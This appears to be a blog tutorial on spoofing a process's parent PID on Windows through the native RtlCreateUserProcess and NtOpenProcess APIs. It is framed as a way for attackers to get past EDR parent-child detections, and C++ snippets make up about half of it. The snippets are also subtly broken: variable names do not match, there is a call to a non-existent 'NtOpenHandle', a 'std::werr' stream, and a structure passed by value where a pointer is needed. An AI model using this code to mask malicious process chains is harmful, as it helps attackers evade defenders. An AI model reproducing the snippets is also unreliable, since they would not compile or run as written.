Skip to main content

Native Parent PID Spoofing

Process notifications provide critical information for process-oriented detections, used by most EDR solutions. A common strategy is to correlate parent-child processes on the system to identify a potentially suspicious relationship, such as Microsoft Word spawning Powershell

As a result, attackers often want to spoof the parent of their process, or a process they have created. The usual way to do this would be to call CreateProcess with a modified attribute list. I will illustrate a native alternative by using RtlCreateUserProcess to spoof the parent ID of a process. This utility is just a convenient wrapper around NtCreateUserProcess

note

Although easy to detect, as process creation notifications provide the EDR driver with the actual parent process ID, this technique has didactic value

Initialization

In order to call RtlCreateUserProcess, we need to initialise a RTL_USER_PROCESS_PARAMETER structure which contains data relevant to the process creation. It's definition can be found in the Native API headers of the System Informer project

First, we get the PID of the process we want to appear as the parent, the name of the executable and the command line arguments from user input. Keep in mind that the API expects an NT path, so it must be based on the Object Manager Namespace. A simple workaround would be to prepend \??\ to the path, for example \??\C:\Windows\System32\cmd.exe

Then we can use the RtlCreateProcessParameters helper function to populate the structure. Note that if you want to interact with the created process, you will need to initialise a few more fields, such as the handle to stdin, stdout, etc.

DWORD ParentPID = _wtoi(argv[1]);

UNICODE_STRING ImageName = {};
RtlInitUnicodeString(&ImageName, argv[2]);

std::wstring CommandLine;
for(INT i = 3; i < argc; i++)
{
CommandLine += argv[i];
CommandLine += L" ";
}

UNICODE_STRING Arguments = {};
RtlInitUnicodeString(&Arguments, CommandLine.c_str());

RTL_USER_PROCESS_PARAMETER ProcessParameters = {};
if(!NT_SUCCESS(RtlCreateProcessParameters(&ProcessParameters, &ImageName, NULL, NULL, &Arguments, NULL, NULL, NULL, NULL, NULL)))
{
return -1;
}

Secondly, we need a handle with PROCESS_CREATE_PROCESS rights to the process we want to use as a parent. To achieve this we can use NtOpenProcess. As the kernel generates process IDs using a private handle table, we first need to expand our 32-bit value to 64 bits and cast it to a HANDLE type

HANDLE ParentHandle = NULL;
OBJECT_ATTRIBUTES ParentAttributes = {};
CLIENT_ID ParentID = {};

ParentID.UniqueProcess = (HANDLE)(ULONG_PTR)ParentProcessID;

if(!NT_SUCCESS(NtOpenHandle(&ParentHandle, PROCESS_CREATE_PROCESS, &ParentAttributes, &ParentID)))
{
std::werr << L"Failed to get handle to process with ID: " << ParentProcessID;
return -1;
}

If the function succeeds, it will place the handle in ParentHandle

Spoofing

Finally, `RtlCreateUserProcess' creates the process whose parent is being spoofed.

RTL_USER_PROCESS_INFORMATION ProcessInformation = {};
if(!NT_SUCCESS(RtlCreateUserProcess(&ImageName, NULL, ProcessParameters, NULL, NULL, ParentHandle, NULL, NULL, NULL, &ProcessInformation)))
{
std::werr << L"Failed to create process";
return -1;
}